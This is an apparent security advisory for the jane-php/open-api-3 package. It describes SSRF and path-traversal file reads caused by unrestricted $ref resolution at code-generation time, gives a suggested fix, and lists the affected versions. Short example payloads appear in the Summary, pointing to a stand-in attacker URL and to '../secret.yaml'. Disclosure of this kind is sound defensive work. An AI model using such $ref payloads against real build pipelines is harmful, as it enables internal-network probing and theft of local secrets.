GHSA-c3cj-3p6p-j822

Suggest an improvement
Source
https://github.com/advisories/GHSA-c3cj-3p6p-j822
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-c3cj-3p6p-j822/GHSA-c3cj-3p6p-j822.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-c3cj-3p6p-j822
Aliases
Published
2026-11-20T00:07:32Z
Modified
2026-11-20T00:15:06Z
Severity
  • 7.0 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
Jane: $ref resolution performs SSRF + LFI (path traversal) at code-generation time (jane-php)
Details

Summary

jane-php resolves external $ref targets at code-generation time via file_get_contents($ref) (jane-php/json-schema-runtime/Reference.php::doResolve) with no scheme/path restriction. An attacker-controlled OpenAPI document can therefore cause: $ref: 'http://attacker/x' -> SSRF (HTTP GET at gen time; response inlined = RFI); $ref: '/abs/file' -> LFI; $ref: '../secret.yaml' -> path-traversal LFI (CWE-22, arbitrary local JSON/YAML read). Verified 7.11.2/PHP8.1 (listener records the fetch; remote + ../ local content inlined into the generated code). file:// rejected. CWE-918/CWE-98/CWE-611/CWE-22.

Details

// Reference.php::doResolve()
$contents = file_get_contents($fragment); // $fragment = attacker-controlled $ref URI

Impact

Generating PHP with jane from an attacker-influenced OpenAPI document issues HTTP requests to attacker-chosen URLs (SSRF — internal services, cloud metadata) and reads arbitrary local files (LFI via ../), at build/CI time, inlining results into the output.

PoC

reproduce.sh (+ make_spec.py, gen.php): runs jane on a remote-$ref spec (local listener records the SSRF, output checked for the inlined response) and a ../-traversal local-$ref spec (output checked for the leaked file).

Suggested fix

Disable remote $ref fetching by default (or allow-list); confine local $ref to the spec directory (reject absolute paths and ..). Don't file_get_contents($ref) on attacker-controlled URIs.

maintainer-report.txt reproduce.sh gen.php make_spec.py

Database specific
{
    "cwe_ids": [
        "CWE-22",
        "CWE-611",
        "CWE-918",
        "CWE-98"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-20T00:07:32Z",
    "nvd_published_at": "2026-11-18T22:17:22Z",
    "severity": "HIGH"
}
References

Affected packages

Packagist / jane-php/open-api-3

Package

Name
jane-php/open-api-3
Purl
pkg:composer/jane-php/open-api-3

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
7.12.0

Affected versions

v5.*
v5.3.0
v5.3.1
v5.3.2
v5.3.3
v6.*
v6.0.0
v6.0.1
v6.0.2
v6.0.3
v6.0.4
v6.0.5
v6.1.0
v6.1.1
v6.2.0
v6.2.1
v6.2.2
v6.2.3
v6.2.4
v6.2.5
v6.3.0
v6.3.1
v6.3.2
v6.3.3
v6.3.4
v6.3.5
v6.3.6
v6.3.7
v6.3.8
v6.3.9
v7.*
v7.0.0
v7.1.0
v7.1.1
v7.1.2
v7.1.3
v7.1.4
v7.1.5
v7.1.6
v7.1.7
v7.2.0
v7.2.1
v7.2.2
v7.2.3
v7.2.4
v7.2.5
v7.3.0
v7.3.1
v7.4.0
v7.4.1
v7.4.2
v7.4.3
v7.4.4
v7.5.0
v7.5.1
v7.5.2
v7.5.3
v7.5.4
v7.5.5
v7.6.0
v7.6.1
v7.6.2
v7.7.0
v7.8.0
v7.8.1
v7.9.0
v7.10.0
v7.10.1
v7.10.2
v7.10.3
v7.10.4
v7.11.0
v7.11.1
v7.11.2

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-c3cj-3p6p-j822/GHSA-c3cj-3p6p-j822.json"